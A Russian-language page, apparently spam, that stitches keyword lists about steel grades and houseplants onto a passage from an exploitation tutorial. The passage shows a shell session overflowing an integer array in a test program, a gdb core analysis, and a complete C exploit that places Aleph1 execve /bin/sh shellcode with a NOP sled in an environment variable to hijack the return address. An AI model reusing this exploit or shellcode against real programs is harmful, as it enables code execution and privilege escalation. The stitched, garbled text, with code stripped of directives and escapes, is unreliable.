марки стали

Марки нержавеющей стали

заголовок

гибискус целогина кристата richard hodgson пеларгония красавица глоксиния хавортия алоэ с медом детям бегония оранжевая гибискус суданская роза паслен сладко горький фото болезни хойи как вырастить молочай осока волосистая колокольчик карпатский из семян гиппеаструм размножение колокольчик равнолистный купить

перлитные стали марки
сайты школ Ульяновска

$ [root@localhost /root] ./int_array2 `perl -e `print"0,"x35``35,0,0,0 $ ,65535 $ placed 0 in array slot 0. $ placed 0 in array slot 1. $ placed 0 in array slot 2. $ placed 0 in array slot 3. $ ... $ placed 0 in array slot 32. $ placed 0 in array slot 33. $ placed 0 in array slot 34. $ placed 35 in array slot 35. $ placed 0 in array slot 36. $ placed 0 in array slot 37. $ placed 0 in array slot 38. $ placed 65535 in array slot 39. $ segmentation fault (core dumped) хорошо! я решил оставить циклически изменяющееся целое число стем значением, которое должно быть (35), чтобы поддерживать программунормальной для тестирования. загрузим core-файл в gdb: $ [root@localhost /root] gdb -c core $ gnu gdb 5.0rh-5 red hat linux 7.1 $ ... $ this gdb was configured as "i386-redhat-linux". $ core was generated by `./int_array2 $ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,`. $ program terminated with signal 11, segmentation fault. $ 0 0x0000ffff in ?? () отлично, 0x0000ffff = 65535, точно так же, как в первых примерах. настало время доказать теорию, написав эксплойт. expl_int_array2.c: example exploit, for a buggy program. /* expl_int_array2.c: int_array2.c exploit. */ /* syntax: ./expl_int_array2 [0x????????] */ include include include include /* путь к уязвимой программе (int_array2) */ define path "./int_array2" /* размер буфера */ define env_size 4096 /* x86/linux shellcode, written by aleph1. */ static char x86_exec[]= "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46" "x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80" "x31xdbx89xd8x40xcdx80xe8xdcxffxffxffx2f" "x62x69x6ex2fx73x68"; /* вначале заполняем массив. помните, 38 там потому */ /* что это местоположение циклически увеличивающегося */ /* целого числа, которое переписывается в том `слоте`, */ /* который в нашей ситуации является 35-ым. c этих пор */ /* eip в 38-ом `слоте`. */ static char prefix[]= "0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0," "0,0,0,0,0,0,0,0,0,38,0,0,0,"; int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret; /* берем адрес, который будет сконвертирован */ /* в числовое значение. */ if(argc>1) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????] ",argv[0]); exit(0); } /* все, что выше 0x7fffffff должно быть */ /* передано как отрицательное значение. для этого */ /* вычтите 0xffffffff. */ if(ret>0x7fffffff) sprintf(n_to_s,"%d",ret-0xffffffff); else sprintf(n_to_s,"%u",ret); /* помещаем nop`ы и shellcode в переменную окружения */ if(!(buf=(char *)malloc(env_size+1)))exit(1); memset(buf,0x90,(env_size-strlen(x86_exec))); memcpy(buf+(env_size-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("exec",buf,1); free(buf); /* создаем финальный вариант нашего буфера */ if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1); sprintf(buf,"%s%s",prefix,n_to_s); /* выводим вспомогательную информацию */ printf("* return address: 0x%x ",ret); printf("* command line: %s %s ",path,buf); /* запускаем эксплойтируемую программу */ execl(path,path,buf,0); /* неудачное исполнение */ exit(0); } expl_int_array2.c: eof.